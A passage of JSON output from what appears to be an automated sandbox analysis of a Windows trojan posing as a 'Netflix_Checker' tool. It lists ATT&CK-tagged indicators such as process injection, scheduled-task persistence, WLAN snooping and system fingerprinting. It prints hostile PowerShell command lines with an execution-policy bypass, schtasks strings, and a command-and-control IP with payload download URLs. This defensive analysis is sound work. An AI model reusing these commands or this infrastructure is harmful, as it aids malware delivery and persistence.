string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$2b","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$2c","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"svcwhost.exe\" called \"CopyFileA\" to copy %APPDATA%\\svcwhost.exe to new location %APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe (UID: 00000000-00005968)","id":"api-123","level":"informative","mitre_attack_id":"T1005","name":"Calls an API typically used to copy file from one location to another","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"ee5db. Trojan.exe\")","id":"string-462","level":"informative","mitre_attack_id":"T1027","name":"Contains reference to licensed c/c++ library","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$2d","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows filepaths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"svcwhost.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\svcwhost.exe\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll.aux\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll.aux\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll.aux\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll.aux\"\n \"Netflix_Checker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll.aux\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$2e","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Able to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")","id":"string-352","level":"informative","mitre_attack_id":"T1573.002","name":"Contains ability to perform encryption/decryption using RSA algorithm","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"sendMessageChannelCache\" (Indicator: \"sendmessage\"; Source: \"00000000-00006016.00000000.82441.01D20000.00000004.mdmp, 00000000-00006016.00000001.82692.01D20000.00000004.mdmp\")\n Found reference to API \"System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\" (Indicator: \"sendmessage\"; Source: \"00000000-00006016.00000000.82441.01D20000.00000004.mdmp, 00000000-00006016.00000001.82692.01D20000.00000004.mdmp\")","id":"string-721","level":"informative","mitre_attack_id":"T1055.015","name":"Able to visualize and control listed components (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"Netflix_Checker.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006016)\n \"Netflix_Checker.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006016)\n \"Netflix_Checker.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006016)","id":"api-294","level":"informative","mitre_attack_id":"T1082","name":"Attempts to call APIs to gather system and hardware detail","origin":"API Call","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Process \"powershell.exe\" with commandline \"powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\gbztuy.exe\"'\" (UID: 00000000-00000860)\n Process \"powershell.exe\" with commandline \"powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\cgyskb.exe\"'\" (UID: 00000000-00008680)","id":"target-110","level":"suspicious","mitre_attack_id":"T1059.001","name":"Executes powershell with commandline","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Netflix_Checker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [C:\\Netflix_Checker.exe]- [targetUID: 00000000-00006396]\n \"svcwhost.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%APPDATA%\\svcwhost.exe]- [targetUID: 00000000-00005968]\n \"Service_Macromedia.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"_3E3CE09031442691943543_.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"Service_Microsoft.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"_3E3CE09031442691943543_.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount64\"; File: \"ee5db. Trojan.exe\")","id":"string-226","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found string \"schtasks /create /tn \"\" (Indicator: \"schtasks /create\"; Source: \"sample.bin\"), Found string \"schtasks /create /tn \"SystemServicesTools\" /tr \"\" (Indicator: \"schtasks /create\"; Source: \"sample.bin\")","id":"string-128","level":"suspicious","mitre_attack_id":"T1053.005","name":"Contains scheduled task related strings","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"}]},{"category":"General","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: svcwhost.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: Service_Macromedia.exe.bin)","id":"static-79","level":"informative","mitre_attack_id":"T1027.007","name":"Contains ability to dynamically determine API calls","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"ee5db.Trojan.exe\" wrote 00000004 bytes to a remote process \"C:\\Netflix_Checker.exe\" (Handle: 568)\n \"svcwhost.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\schtasks.exe\" (Handle: 504)\n \"svcwhost.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\schtasks.exe\" (Handle: 504)","id":"api-0","level":"malicious","mitre_attack_id":"T1055","name":"Writes data to a remote process","origin":"API Call","relevance":6,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"ee5db. Trojan.exe\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"GET /event.php\"\n Found http requests in header \"GET /api/update.pack\"\n Found http requests in header \"GET /api/update2.pack\"\n Found http requests in header \"POST /api.php?{A068533DBF09758809014}\"\n Found http requests in header \"GET /PPGcgnyW.exe\"\n Found http requests in header \"GET /nikzbi.exe\"\n Found http requests in header \"GET /schuste.exe\"\n Found http requests in header \"GET /\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP webserver (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"ee5db. Trojan.exe\")","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"\"Netflix_Checker.exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1068","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed namespace \"System.Net\" in \"Netflix_Checker.exe\"","id":"static-110","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to provide interface for network protocols (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)","id":"summary-31","level":"informative","mitre_attack_id":"T1573.001","name":"Shows ability to use encryption for command and control traffic","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateProcessInternalW\" (Indicator: \"CreateProcessInternal\"; File: \"ee5db. Trojan.exe\")","id":"string-425","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create new processes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$2f","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed import api PathFindFileName (Source: svcwhost.exe)\n Observed import api PathFindFileName (Source: Service_Macromedia.exe.bin)","id":"static-183","level":"informative","mitre_attack_id":"T1083","name":"Calls APIs used for find file/directory path","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"icanhazip.com\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"ee5db. Trojan.exe\")","id":"string-426","level":"informative","mitre_attack_id":"T1222","name":"Contains ability to modify file attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetModuleFileNameW@KERNEL32.dll at 48249-4295-0040BD3A\n GetModuleFileNameW@KERNEL32.DLL at 00000000-00005736-49315-643-0094BD3A","id":"stream-131","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")","id":"string-310","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"\"11.0.0.0\"\n \"4.0.0.0\"\n \"1.9.0.9\"\n Potential IP \"176.111.174.140\" found in string \"http://176.111.174.140/api/update32.pack\"\n Potential IP \"176.111.174.140\" found in string \"http://176.111.174.140/api/update.pack\"\n Potential IP \"176.111.174.140\" found in string \"http://176.111.174.140/api/update2.pack\"\n Potential IP \"176.111.174.140\" found in string \"https://176.111.174.140/event.php\"\n Potential IP \"176.111.174.140\" found in string \"http://176.111.174.140/event.php\"\n \"0.0.0.0\"\n \"1.0.0.1\"\n \"1.9.9.9\"\n \"1.4.0.0\"\n \"176.111.174.140\"\n \"0.0.0.00000\"\n \"0.0.0.00\"\n \"2.5.29.10\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.37\"\n \"127.0.0.1\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db.Trojan.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 747F0000\n \"svcwhost.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F8EE0000\n \"Netflix_Checker.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 747F0000\n \"Netflix_Checker.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72E10000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F8EE0000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateProcessInternalW\" (Indicator: \"CreateProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"RtlCreateProcessParametersEx\" (Indicator: \"CreateProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtCreateProcessEx\" (Indicator: \"CreateProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateProcess failed (\" (Indicator: \"CreateProcess\"; File: \"ee5db. Trojan.exe\")","id":"string-204","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create a new process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"ee5db. Trojan.exe\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"ee5db. Trojan.exe\")","id":"string-439","level":"informative","mitre_attack_id":"T1055.003","name":"Contains ability to modify process memory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Cryptographic Related","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006016.00000000.82441.00480000.00000004.mdmp, 00000000-00006016.00000000.82441.01D20000.00000004.mdmp, 00000000-00006016.00000001.82692.00480000.00000004.mdmp, 00000000-00006016.00000001.82692.01D20000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006016.00000000.82441.01D20000.00000004.mdmp, 00000000-00006016.00000001.82692.01D20000.00000004.mdmp\")","id":"string-920","level":"informative","mitre_attack_id":"T1486","name":"Able to access crypto-related API (String)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \".ctor\" in \"Netflix_Checker.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"Netflix_Checker.exe\"","id":"static-158","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to communicate with network (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Process \"netsh.exe\" with commandline \"netsh wlan show networks mode=bssid\" (UID: 00000000-00003792)","id":"target-48","level":"malicious","mitre_attack_id":"T1016","name":"Detected network related fingerprinting/snooping attempt","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"ee5db. Trojan.exe\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"svcwhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"SM0:6396:64:WilError_01\"\n \"SM0:6396:168:WilStaging_02\"\n \"Local\\SM0:6396:168:WilStaging_02\"","id":"mutant-0","level":"informative","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetProcessHeap@KERNEL32.dll at 48249-6858-004176F5\n GetProcessHeap@KERNEL32.DLL at 00000000-00005736-49315-1061-009576F5","id":"stream-31","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"cpuid at 00000000-00005736-49315-539-00944E8D","id":"stream-13","level":"suspicious","mitre_attack_id":"T1082","name":"Contains ability to query CPU information","origin":"Hybrid Analysis Technology","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"18/24 Antivirus vendors marked sample as malicious (75% detection rate)","id":"avtest-3","level":"malicious","name":"Sample was identified as malicious by a large number of Antivirus engines","origin":"External System","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$30","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at F2D60000","id":"module-4","level":"malicious","mitre_attack_id":"T1559.001","name":"Loads the task scheduler COM API","origin":"Loaded Module","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$31","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Found user-agent(s): Mozilla/5.0","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Uses a browser-related user-agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"$32","id":"network-2","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"ee5db. Trojan.exe\")","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$33","id":"target-14","level":"malicious","mitre_attack_id":"T1057","name":"Spawns a lot of processes","origin":"Monitored Target","relevance":8,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"ee5db. Trojan.exe\")","id":"string-450","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to determine if process is running under WOW64 (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\ee5db.Trojan.exe\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\msvcrt.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\cfgmgr32.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\bcryptprimitives.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\cryptbase.dll\"\n \"ee5db.Trojan.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\sechost.dll\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"svcwhost.exe\" contains export function called \"Start\" at ordinal 1\n \"Service_Macromedia.exe.bin\" contains export function called \"Start\" at ordinal 1","id":"static-78","level":"informative","name":"Contains export functions","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"passwordFormat\" (Indicator: \"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"passwordAttemptWindow\" (Indicator: \"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression\" (Indicator: \"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"passwordFormat=\"Hashed\"\" (Indicator: \"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"passwordAttemptWindow=\"10\"\" (Indicator: 